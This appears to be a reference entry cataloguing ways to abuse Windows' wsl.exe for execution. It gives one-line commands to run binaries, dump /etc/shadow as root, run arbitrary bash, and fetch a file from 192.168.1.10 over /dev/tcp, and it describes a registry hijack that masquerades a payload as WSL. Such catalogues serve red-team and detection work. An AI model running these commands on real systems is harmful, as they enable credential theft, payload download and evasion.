Executes calc.exe from wsl.exe (Performs execution of specified file, can be used to execute arbitrary Linux commands.)

wsl.exe -e /mnt/c/Windows/System32/calc.exe

Cats /etc/shadow file as root (Performs execution of arbitrary Linux commands as root without need for password.)

wsl.exe -u root -e cat /etc/shadow

Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`) (Performs execution of arbitrary Linux commands.)

wsl.exe --exec bash -c "{CMD}"

Downloads file from 192.168.1.10 (Download file)

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder. (Execute a payload as a child process of `bash.exe` while masquerading as WSL.)

wsl.exe